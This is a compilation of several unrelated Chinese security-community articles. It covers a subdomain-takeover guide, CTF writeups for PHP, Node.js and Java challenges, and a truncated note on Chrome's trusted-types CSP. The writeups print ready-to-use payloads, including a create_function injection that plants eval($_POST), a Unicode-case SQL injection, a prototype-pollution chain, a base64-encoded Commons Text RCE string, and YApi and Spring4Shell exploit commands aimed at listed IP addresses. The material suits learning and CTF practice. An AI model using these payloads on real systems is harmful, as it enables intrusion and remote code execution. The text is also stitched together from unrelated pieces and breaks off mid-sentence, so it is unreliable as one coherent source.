你会发现使用的技巧越奇特，就越有可能找到别人没有发现的东西。因此，要开动脑筋去创新，并在实践中检验你的想法，以此去刷各家的漏洞悬赏榜。
Ahmed Aboul-Ela的[Sublist3r](https://github.com/aboul3la/Sublist3r)可以说是我能想到的最简单的子域利用工具。
这个轻量级Python脚本从众多搜索引擎，SSL证书以及DNS Dumpster这样的网站上收集子域。安装过程非常简单：
$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt
当暴力检索子域时，黑客会遍历一个词表，并根据响应确定主机是否可连接。 请注意，这点非常重要：始终检查目标是否启用了通配符。否则最终会出现大量误报。
通配符意味着所有子域都会返回一个会导致结果出现偏差的响应。应对的方法就是你可以通过向目标请求一个很可能尚未设置的看似随机的主机名来轻松检测通配符是否启用。
$ host randomifje8z193hf8jafvh7g4q79gh274.example.com
为了在暴力枚举子域名的同时获得最佳结果，我建议你创建自己的个人词汇表，其中包含你过去遇到过的或通常与你感兴趣的服务相关联的词汇。例如，我经常寻找包含关键字“jira”和“git”的主机，因为我发现易受攻击的Atlassian
Jira和GIT实例比较常见。
如果你计划暴力枚举子域名，我强烈建议你查看[Jason
Haddix的词表](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) 。
Jason不厌其烦地将各个子域发现工具的列表合并到了一个列表。
## 指纹
要想在查找子域时获得更多的结果，无论是爬取还是暴力枚举，都可以使用称为指纹识别的技术。
指纹识别允许你为目标创建自定义词表，从而揭示通用词表不能发现的属于目标的信息资产。
## 著名的工具
子域名劫持有各种各样的工具。 本节会介绍一些前文没提到的著名工具。
### Altdns
想递归暴力枚举子域？来看看Shubham Shah的[Altdns脚本](https://github.com/infosec-au/altdns)。
在通过Altdns对目标进行指纹识别后运行自定义词表可能会非常有益。 我喜欢使用Altdns生成词表，然后运行其他工具。
### Commonspeak
另一个由Shubham提供的工具， [Commonspeak](https://github.com/pentester-io/commonspeak)是一个使用Google的BigQuery生成词表的工具。 效果是生成反映当前趋势的词表。在科技日新月异的时代，这一点尤为重要。
如果你想更好地了解此工具的工作原理以及从哪里收集关键字， 请务必阅读<https://pentester.io/commonspeak-bigquery-wordlists/> 。
### SubFinder
[SubFinder](https://github.com/subfinder/subfinder)是一款将爬取和暴力枚举结合在一起的工具。
我自己使用SubFinder而不是Sublist3r作为我的通用子域发现工具。
为了获得更好的结果，请提供给SubFinder用于查找子域的各种服务的API密钥。
### Massdns
[Massdns](https://github.com/blechschmidt/massdns)是一个超快的子域枚举工具。
如果其他工具耗时一刻钟完成任务，Massdns可以在一分钟内完成。 请注意，如果你打算运行Massdns，请确保为其提供有效解析器列表。
请阅读<https://public-dns.info/nameservers.txt> ，测试解析器，看看哪些返回最佳结果。
如果你不更新你的解析器列表，你最终会得到很多误报。
$ ./scripts/subbrute.py lists/names.txt example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt
## 自动化你的工作流程
在寻找子域名劫持时，自动化是关键。 顶级BUG赏金猎人不断监测目标的变化，并不断关注他们可以找到的每个子域。 对于本指南，我认为没有必要专注于监控的搭建。
相反，我想坚持简单的技巧，既可以节省你的时间，又可以轻松实现自动化。
我最想自动化的任务是从主机列表中过滤掉活动的子域。 爬取子域的时候，某些结果会过时且无法使用。因此，我们需要确定哪些主机是活动的。
请记住，如果主机没有解析，并不一定意味着它不能被劫持，我们稍后将会详细说明。 使用host命令可以轻松完成此任务 ——不再处于活动状态的子域将返回错误。
while read subdomain; do
if host "$subdomain" > /dev/null; then
# If host is live, print it into
# a file called "live.txt".
echo "$subdomain" >> live.txt
fi
done < subdomain-list.txt
最终，我们将迄今为止的所有内容放在一起，我们会得到以下工作流程。
下一步是概览各个子域。 有两种选择：第一种是在所有子域上运行屏幕截图脚本; 第二种是将页面内容存储在文本文件中。
截图，我的首选工具目前是[EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) 。
此工具生成一个HTML文档，其中包含主机列表中的所有屏幕截图，响应body和header。
$ ./EyeWitness -f live.txt -d out --headless
对于某些情况，EyeWitness可能有点过于沉重，你可能只想通过向子域的顶级目录发送简单的GET请求，然后将页面内容存储。 对于这样的情况，我使用Tom
Hudson的meg。 meg并行发送请求，然后将输出存储到纯文本文件中。
这使得它成为一种非常有效的轻量级解决方案，支持子域筛选，还支持使用grep命令查找关键字。
$ meg -d 10 -c 200 / live.txt
## 特殊情况
我们需要注意一个特殊情况，FransRosén在他的演讲[“ 使用云提供商进行DNS劫持 - 无需验证
”](https://www.slideshare.net/fransrosen/dns-hijacking-using-cloud-providers-no-verification-needed-76812183)中强调了这一点。 当你遇到死的DNS记录时，不要总是认定你不能劫持该子域。
正如Frans所指出的那样， `host`命令可能会返回错误，但是`dig`命令会揭示死的记录。
## 利用
好了，现在你控制了属于目标的子域。接下来你可以做什么？ 在决定通过配置错误的子域进行欺骗攻击前，了解子域如何与主站和目标的核心服务进行交互至关重要。
## Cookies
`subdomain.example.com`可以修改cookies的范围到`example.com` 。
这一点很重要，一定要记住，因为这能让你劫持受害者在主站上的会话。
`通过output.jsbin.com，我们可以为jsbin.com设置cookie。`
如果主站容易受到会话固定攻击并使用[HTTPOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies)
，则可以设置cookie，随后当用户重新启动浏览器时，你的恶意cookie会把新生成的cookie顶下去，因为cookie按age排序。
## 跨域资源共享
跨域资源共享（Cross-Origin Resource Sharing, CORS）是一种允许主机共享页面内容的技术。
应用程序使用一组规则创建范围，允许主机在此范围内读取经过身份验证的数据。 某些应用程序允许子域发出跨域HTTP请求，并已经假设子域是可信实体。
当你劫持子域名寻找CORS 头部信息时—— Burp Suite Pro的扫描程序通常会选出它们 —— 记得去查看应用程序是否将子域名列入白名单。
这可能允许你从主应用程序上的经过身份验证的用户窃取数据。
## Oauth白名单
与跨域资源共享类似， [Oauth](https://tools.ietf.org/html/rfc6749)
流程也有一个白名单机制，开发人员可以指定应该接受哪些回调URI。
这里，危险再次出现：在子域名被列入白名单的情况下，你可以在Oauth流程中将用户重定向到你的子域名，从而可能泄露他们的Oauth令牌。
## 内容安全策略
[内容安全策略](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy?utm_source=mozilla&utm_medium=devtools-netmonitor&utm_campaign=default) （Content-Security Policies,
CSP）是另一个应用程序的可信主机列表。这个列表的目的是限制哪些主机可以在应用程序的上下文中执行客户端代码。
如果想要最小化跨站点脚本的影响，这里的头部信息特别有用。 如果你的子域包含在白名单中，则可以使用子域绕过策略并在应用程序上执行恶意的客户端代码。
$ curl -sI https://hackerone.com | grep -i "content-security-policy"
content-security-policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src www.youtube-nocookie.co
m; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestor
s 'none'; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profi
le-photos.hackerone-user-content.com hackerone-us-west-2-production-attachments.s3-us-west-2.amazonaws.com; media-src 's
elf' hackerone-us-west-2-production-attachments.s3-us-west-2.amazonaws.com; script-src 'self' www.google-analytics.com;
style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=61c1e2f50d21487c
97a071737701f598
## 点击劫持
如“ [Cure53浏览器安全白皮书](https://github.com/cure53/browser-sec-whitepaper/blob/master/browser-security-whitepaper.pdf) ”中所述，Internet
Explorer，Edge和Safari支持`X-Frame-Options`中的`ALLOW-FROM`指令，这意味着如果你的子域被列入白名单，则可以构建目标页面，以此执行点击劫持攻击。
## 密码管理器
这一项不一定包含在你的安全报告中，但值得注意的是，某些密码管理器会自动在主站应用程序的子域上填写登录表单，这样毫无疑问会泄露账户和密码。
## 拦截电子邮件
Rojan Rijal [演示](http://blog.pentestnepal.tech/post/149985438982/reading-ubers-internal-emails-uber-bug-bounty)了他如何通过在SendGrid上声明一个uber.com的子域来拦截电子邮件。
## 合规报告子域名劫持
在你尝试报告子域名劫持之前，请确保你能够在子域名上实际提供内容。
但是，无论你做什么，都不要在索引页面上发布任何内容，即便它是如前所示的青蛙——一张人畜无害的图片。
最佳做法是在HTML注释中加一条隐秘的消息，指向一个隐藏路径的HTML文件。 这应该足以在向bug悬赏计划提交报告时证明你发现的问题。
只有在网站方授予许可后，你才能着手扩大渗透并实际证明漏洞的整体影响。
但在大多数情况下，站方应该已经意识到影响，并且你的报告应该包含有关子域名劫持的可利用性的信息。
在撰写关于子域名劫持报告的时候不必着急，因为这类报告的奖金虽然很高，但是，没有人能够抢先报告拿走你的奖金。因为你是（我希望是）唯一的控制子域名的人。
> 作者注：我只见过一个关于子域名劫持的重复报告，所以还是仍有那么一丢丢可能。但这种小概率情况恰好落在你身上的可能性相当小。
我们已经到了本指南的末尾，我期待在HackerOne上对你的子域名劫持报告进行分类。 在寻找子域名劫持时，请记住练习并应用本文中列出的技巧。
最后，我要感谢[FransRosén](https://twitter.com/fransrosen) ，
[Filedescriptor](https://twitter.com/filedescriptor) ，
[Mongo](https://twitter.com/mongobug)和[Tom
Hudson](https://twitter.com/tomnomnom)就子域名劫持和我交换意见。 我的白帽旅途中的很多发现都是基于他们的研究。 | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2018年12月7日**
@phith0n 在代码审计小密圈二周年的时候发起了[Code-Breaking Puzzles挑战赛](https://code-breaking.com
"Code-Breaking Puzzles挑战赛")，其中包含了php、java、js、python各种硬核的代码审计技巧。在研究复现the
js的过程中，我花费了大量的精力，也逐渐找到代码审计的一些技巧，这里主要分享了5道ez题目和1道hard的the
js这道题目的writeup，希望阅读本文的你可以从题目中学习到属于代码审计的思考逻辑和技巧。
# easy - function
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
思路还算是比较清晰，正则很明显，就是要想办法在函数名的头或者尾找一个字符，不影响函数调用。
简单实验了一下没找到，那就直接fuzz起来吧
很容易就fuzz到了就是`\`这个符号
后来稍微翻了翻别人的writeup，才知道原因，
**在PHP的命名空间默认为`\`，所有的函数和类都在`\`这个命名空间中，如果直接写函数名function_name()调用，调用的时候其实相当于写了一个相对路径；而如果写\function_name()
这样调用函数，则其实是写了一个绝对路径。如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。**
紧接着就到了如何只控制第二个参数来执行命令的问题了，后来找到可以用`create_function`来完成，`create_function`的第一个参数是参数，第二个参数是内容。
函数结构形似
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
然后执行，如果我们想要执行任意代码，就首先需要跳出这个函数定义。
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
这样一来，我们想要执行的代码就会执行
exp
http://51.158.75.42:8087/?action=%5Ccreate_function&arg=return%202333;%7Deval($_POST%5B%27ddog%27%5D);%2f%2f
# easy pcrewaf
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这题自己研究的时候没想到怎么做，不过思路很清楚，文件名不可控，唯一能控制的就是文件内容。
所以问题的症结就在于如何绕过这个正则表达式。
/<\?.*[(`;?>].*/is
简单来说就是`<`后面不能有问号，`<?`后面不能有`(;?>反引号`，但很显然，这是不可能的，最少执行函数也需要括号才行。从常规的思路肯定不行
<https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html>
之后看ph师傅的文章我们看到了问题所在，`pcre.backtrack_limit`这个配置决定了在php中，正则引擎回溯的层数。而这个值默认是1000000.
而什么是正则引擎回溯呢？
在正则中`.*`表示匹配任意字符任意位，也就是说他会匹配所有的字符，而正则引擎在解析正则的时候必然是逐位匹配的，对于
<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
这段代码来说
首先<匹配<
然后?匹配?
然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
紧接着匹配[(`;?>]，问题出现了，上一步匹配到了结尾，后面没有满足要求的符号了。
从这里开始正则引擎就开始逐渐回溯，知道符合要求的;出现为止
但很显然，服务端不可能不做任何限制，不然如果post一个无限长的数据，那么服务端就会浪费太多的资源在这里，所以就有了`pcre.backtrack_limit`，如果回溯次数超过100万次，那么匹配就会结束，然后跳过这句语句。
回到题目来看，如果能够跳过这句语句，我们就能上传任意文件内容了！
所以最终post就是传一个内容为
<?php phpinfo();//a*1000000
对于任何一种引擎来说都涉及到这个问题，尤其对于文件内容来说，没办法控制文件的长度，也就不可避免的会出现这样的问题。
对于PHP来说，有这样一个解决办法，在php的正则文档中提到这样一个问题
`preg_match`返回的是匹配到的次数，如果匹配不到会返回0，如果报错就会返回false
所以，对`preg_match`来说，只要对返回结果有判断，就可以避免这样的问题。
# easy - phpmagic
题目代码简化之后如下
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
稍微阅读一下代码不难发现问题有几个核心点
1、没办法完全控制dig的返回，由于没办法命令注入，所以这里只能执行dig命令，唯一能控制的就是dig的目标，而且返回在显示之前还转义了尖括号，所以
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q 1232321321
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;1232321321. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400
;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE rcvd: 103
2、`in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4',
'php5', 'phtml', 'pht'], true)`这句过滤真的很严格，实在的讲没有什么直白的绕过办法。
3、log前面会加上`$_SERVER['SERVER_NAME']`
第一点真的是想不到，是看了别人的wp才想明白这个关键点 <http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/>
之前做题的时候曾经遇到过类似的问题，可以通过解base64来隐藏自己要写入的内容绕过过滤，然后php在解析的时候会忽略各种乱码，只会从`<?php`开始，所以其他的乱码都不会影响到内容，唯一要注意的就是base64是4位一解的，主要不要把第一位打乱掉。
简单测试一下
$output = <<<EOT
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q "$domain"
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;1232321321. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400
;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE rcvd: 103
EOT;
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
var_dump($output);
var_dump(base64_decode($output));
这样一来我们就能控制文件内容了，而且可以注入`<?php`了
接下来就是第二步，怎么才能控制logname为调用php伪协议呢？
问题就在于我们如何控制`$_SERVER['SERVER_NAME']`，而这个值怎么定是不一定的，这里在这个题目中是取自了头中的host。
这样一来头我们可以控制了，我们就能调用php伪协议了，那么怎么绕过后缀限制呢？
这里用了之前曾经遇到过的一个技巧（老了记性不好，翻了半天也没找到是啥比赛遇到的）， **test.php/.就会直接调用到test.php**
通过这个办法可以绕过根据.来分割后缀的各种限制条件，同样也适用于当前环境下。
最终poc:
# easy - phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
这个代码就简单多了，简单来说就是只能执行一个函数，但不能设置参数，这题最早出现是在RCTF2018中
<https://lorexxar.cn/2018/05/23/rctf2018/>
在原来的题目中是用`next(getallheaders())`绕过这个限制的。
但这里getallheaders是apache中的函数，这里是nginx环境，所以目标就是找一个函数其返回的内容是可以控制的就可以了。
问题就在于这种函数还不太好找，首先nginx中并没有能获取all header的函数。
所以目标基本就锁定在会不会有获取cookie，或者所有变量这种函数。在看别人writeup的时候知道了`get_defined_vars`这个函数
<http://php.net/manual/zh/function.get-defined-vars.php>
他会打印所有已定义的变量（包括全局变量GET等）。简单翻了翻PHP的文档也没找到其他会涉及到可控变量的
在原wp中有一个很厉害的操作，直接reset所有的变量。
<http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/>
然后只有当前get赋值，那么就只剩下get请求的变量了
后面就简单了拼接就好了
然后...直接列目录好像也是个不错的办法2333
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
# easy - nodechr
nodejs的一个小问题，关键代码如下
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
这里的注入应该是比较清楚的，直接拼接进查询语句没什么可说的。
然后safekeyword过滤了`select union -- ;`这四个，下面的逻辑其实说简单的就一句
c = `SELECT * FROM "users" WHERE "username" = '${a.toUpperCase()}' AND "password" = '${b.toUpperCase()}'`
如何构造这句来查询flag，开始看到题一味着去想盲注的办法了，后来想明白一点，在注入里，没有select是不可能去别的表里拿数据的，而题目一开始很明确的表明flag在flag表中。
所以问题就又回到了最初的地方，如何绕过safekeyword的限制。
ph师傅曾经写过一篇文章 <https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html>
在js中部分字符会在toLowerCase和toUpperCase处理的时候发生难以想象的变化
"?"、"?"这两个字符在变大写的时候会变成I和S
"?"这个字符在变小写的时候会变成k
用在这里刚好合适不过了。
username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1
# hard - thejs
javascript真难....
关键代码以及注释如下
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16), // 随机数
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模板引擎
fs.readFile(filePath, (err, content) => { //读文件 filepath
if (err) return callback(new Error(err))
let compiled = lodash.template(content) //模板化
let rendered = compiled({...options}) //动态引入变量
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // merge 合并字典
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
由于对node不熟，初看代码的时候简单研究了一下各个部分都是干嘛的。然后就发现整个站几乎没什么功能，就是获取输入然后取其中固定的输出，起码就自己写的代码来说不可能有问题。
再三思考下觉得可能问题在引入的包中...比较明显的就是`lodash.merge`这句，这句代码在这里非常刻意，于是就顺着这个思路去想，简单翻了一下代码发现没什么收获。后来@spine给了我一个链接
<https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf>
## js特性
首先我们可以先回顾一下js的一部分特性。
由于js非常面向对象的编程特性，js有很多神奇的操作。
在js中你可以用各种方式操作自己的对象。
在js中，所有的对象都是从各种基础对象继承下来的，所以每个对象都有他的父类，通过prototype可以直接操作修改父类的对象。
而且 **子类会继承父类的所有方法** 。
在js中，每个对象都有两个魔术方法，一个是`constructor`另一个是`__proto__`。
对于实例来说，constructor代表其构造函数，像前面说的一样，函数可以通过prototype获取其父对象
function myclass () {}
myclass.prototype.myfunc = function () {return 233;}
var inst = new myclass();
inst.constructor // return function myclass
inst.constructor.prototype // return the prototype of myclass
inst.constructor.prototype.myfunc() // return 233
而另一个魔术方法`__proto__`就等价于`.constructor.prototype`
由于 **子类会继承父类的所有方法** ，所以如果在当前对象中找不到该方法，就会到父类中去找，直到找不到才会爆错
在复习了上面的特性之后，我们回到这个漏洞
## 回到漏洞
在漏洞分析文中提到了这样一种方式
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
假设对于语句
obj[a][b][c] = value
如果我们控制a为constructor，b为prototype，c为某个key，我们是不是就可以为这个对象父类初始化某个值，这个值会被继承到当前对象。同理如果a为`__proto__`，b也为`__proto__`，那么我们就可以为基类`Object`定义某个值。
当然这种代码不会随时都出现，所以在实际场景下，这种攻击方式会影响什么样的操作呢。
首先我们需要理解的就是，我们想办法赋值的`__proto__`对象并不是真正的这个对象，如图
所以想要写到真正的`__proto__`中，我们需要一层赋值，就如同原文范例代码中的那样
通过这样的操作，我们就可以给Object基类定义一个变量名。
由于 **子类会继承父类的所有方法** ，但首先需要保证子类没有定义这个变量，因为 **只有当前类没有定义这个变量，才会去父类寻找** 。
在js代码中，经常能遇到这样的代码
if (!obj.aaa){
...
}
这种情况下，js会去调用obj的aaa方法，如果aaa方法undefined，那么就会跟入到obj的父类中（js不会直接报该变量未定义并终止）。
这种情况下，我们通过定义obj的基类Object的aaa方法，就能操作这个变量，改变原来的代码走向。
最后让我们回到题目中来。
## 回到题目
回到题目中，这下代码的问题点很清楚了。整个代码有且只有1个输入点也就是`req.body`，这个变量刚好通过`lodash.merge`合并.
这里的`lodash.merge`刚好也就是用于将两个对象合并，成功定义了`__proto__`对象的变量。
我们也可以通过上面的技巧去覆盖某个值，但问题来了，我们怎么才能getshell呢？
顺着这个思路，我需要在整个代码中寻找一个，在影响Object之后，且可以执行命令的地方。
很幸运的是，虽然我没有特别研究明白nodejs，但我还是发现模板是动态生成的。
这里的代码是在请求后完成的（动态渲染？）
跟入到template函数中，可以很清楚的看到
接下来就是这一大串代码中寻找一个可以影响的变量，我们的目标是找一个未定义的变量，且后面有判断调用它
这里的sourceURL刚好符合这个条件，我们直接跟入前面的options定义处，进入函数一直跟下去，直到lodash.js的3515行。
可以看到object本身没有这个方法，但仍然遍历到了，成功注入了这个变量，紧接着渲染模板就成功执行代码了。
## 完成攻击
其实发现可以注入代码之后就简单了，我朋友说他不能用child_process来执行命令，我测试了一下发现是可以的，只是不能弹shell回来不知道怎么回事。思考了一下决定直接wget外带数据出来吧。
poc
需要注意一定要是json格式，否则`__proto__`会解成字符串，开始坑了很久。
直接偷懒用ceye接请求，其实用什么都行
* * * | 社区文章 |
**Evil MySQL Server**
题目分析思考:
这题是mysql 连接到恶意服务器时，恶意服务端可以读取 mysql 客户端本地文件的特性进行利用
比赛的时候借助的工具是MySQL Fake Server：<https://github.com/fnmsd/MySQL_Fake_Server>
用它在你自己的公网 vps 服务器上启动一个恶意的 mysql
server，地址是公网的VPS，端口3306，然后打开题目，在表单里填上对应的服务器地址，用户名处填 fileread_/flag，提交。mysql
fake server 就会收到请求，并读到 /flag 文件内容。
**ApacheCommandText**
题目分析思考:
这道题是关于CVE-2022-42889: Apache Commons Text
RCE的,并且这道题对script、dns、url、file协议进行了过滤，但没有过滤base64decoder，因此我们可以使用base64decoder进行漏洞利用。
如下:
攻击payload所示:
import org.apache.commons.text.StringSubstitutor;
public class CommonsPoc {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// 命令执行
// String poc =
interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open
/System/Applications/Calculator.app\")}");
// SSRF
// String poc =
interpolator.replace("${url:utf-8:<http://123.d2kohg.dnslog.cn}>");
// 命令执行base64编码绕过
String poc =
interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}");
POC:
${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}
base64解密就是:
${script:JavaScript:var a=java.lang.Runtime.getRuntime().exec("/readflag");var
b=a.getInputStream();var c=new java.io.BufferedReader(new
java.io.InputStreamReader(b));c.readLine();}
获得flag
**Yummy Api**
这题是YApi < 1.12.0 NoSQL 注入 RCE
这题是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE，获取 Flag
利用的POC脚本:
<https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py>
python3 poc.py --debug one4all -u <http://ip:9090/> -c "/readflag"
获得flag
**Be-a-Wiki-Hacker**
做题的时候发现版本 7.13.6，搜索 Confluence 历史漏洞，可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的
POC利用:
<https://github.com/crowsec-edtech/CVE-2022-26134/>
**Spring4Shell**
在做题的时候,发现是.git泄露
python3 git_extract.py <http://47.98.216.107:31584/.git/>
我们可以根据appBase=""确定项目的路径
cat 47.98.216.107_31584/server.xml | grep appBase
得到:Host name="XXXX" appBase="chaitin"
在根据CVE-2022-22965进行EXP利用
Spring4shell EXP：
<https://github.com/reznok/Spring4Shell-POC>.
需要手动指定web的路径
python3 exploit.py --url <http://47.98.216.107:31584/> \--dir chaitin/ROOT
webshell 写入路径：/tmp/shellcode.jsp
访问 webshell：
<http://47.98.216.107:31584/tmp/shellcode.jsp?cmd=id>
最后读取 flag即可
**总结:**
这次第五届RealWorldCTF体验赛收获还是很多的,比赛的题目更多的是CVE的漏洞的关注和利用,不愧是"真实世界"! | 社区文章 |
# CSP:trusted-types 初体验
之前被问到这样一个问题，为什么新版Chrome取消了XSS Audit机制？
以前[看到过文章](https://zhuanlan.zhihu.com/p/74288648)说新版Chrome取消这个的原因是因为被绕过的姿势过多(我也不知道几个)或者说是误报影响到正常功能了。并说用`trusted-types`的API替换`XSS Audit`能彻底杜绝`DOM XSS`。
仔细跟了一下[谷歌的开发文档介绍](https://developers.google.com/web/updates/2019/02/trusted-types)，通过给CSP配置一个`trusted-types`属性：
Content-Security-Policy: trusted-types *
本地测试79.0版本：
<?php
header("Content-Security-Policy: trusted-types *");
$a= <<<EOF
<html>
<head>
</head>
<body>
</body>
<script>
const templateId = location.hash.match(/tplid=([^;&]*)/)[1];
// typeof templateId == "string"
document.head.innerHTML += decodeURI(templateId) // Throws a TypeError.
</script>
</html>
EOF;
echo $a;
但是并没有抛出错误，继续翻了下文档，找到问题所在:
需要用Chrome73-78的版本，其次默认配置是不开的，访问`chrome://flags/#enable-experimental-web-platform-features`将其配置打开。
这里用Chrome78测试：
抛出一个错误，强制要求我们使用`TrustedHTML`，修改代码：
<?php
header("Content-Security-Policy: trusted-types *");
$a= <<<EOF
<html>
<head>
</head>
<body>
</body>
<script>
const templatePolicy = TrustedTypes.createPolicy('template', {
createHTML: (templateId) => {
const tpl = templateId;
if (/^[0-9a-z-]$/.test(tpl)) {
return `<link rel="stylesheet" href="./templates/\${tpl}/style.css">`;
}
throw new TypeError();
}
});
const html = templatePolicy.createHTML(location.hash.match(/tplid=([^;&]*)/)[1]);
// html instanceof TrustedHTML
document.head.innerHTML = html;
</script>
</html>
EOF;
echo $a;
通过`TrustedTypes.createPolicy`自定义过滤后，return一个`TrustedHTML`来满足CSP的可信要求：
## 最后
在Chrome79下,即使我们开启了`Experimental Web Platform features`这个配置，仍然会遇到`TrustedTypes
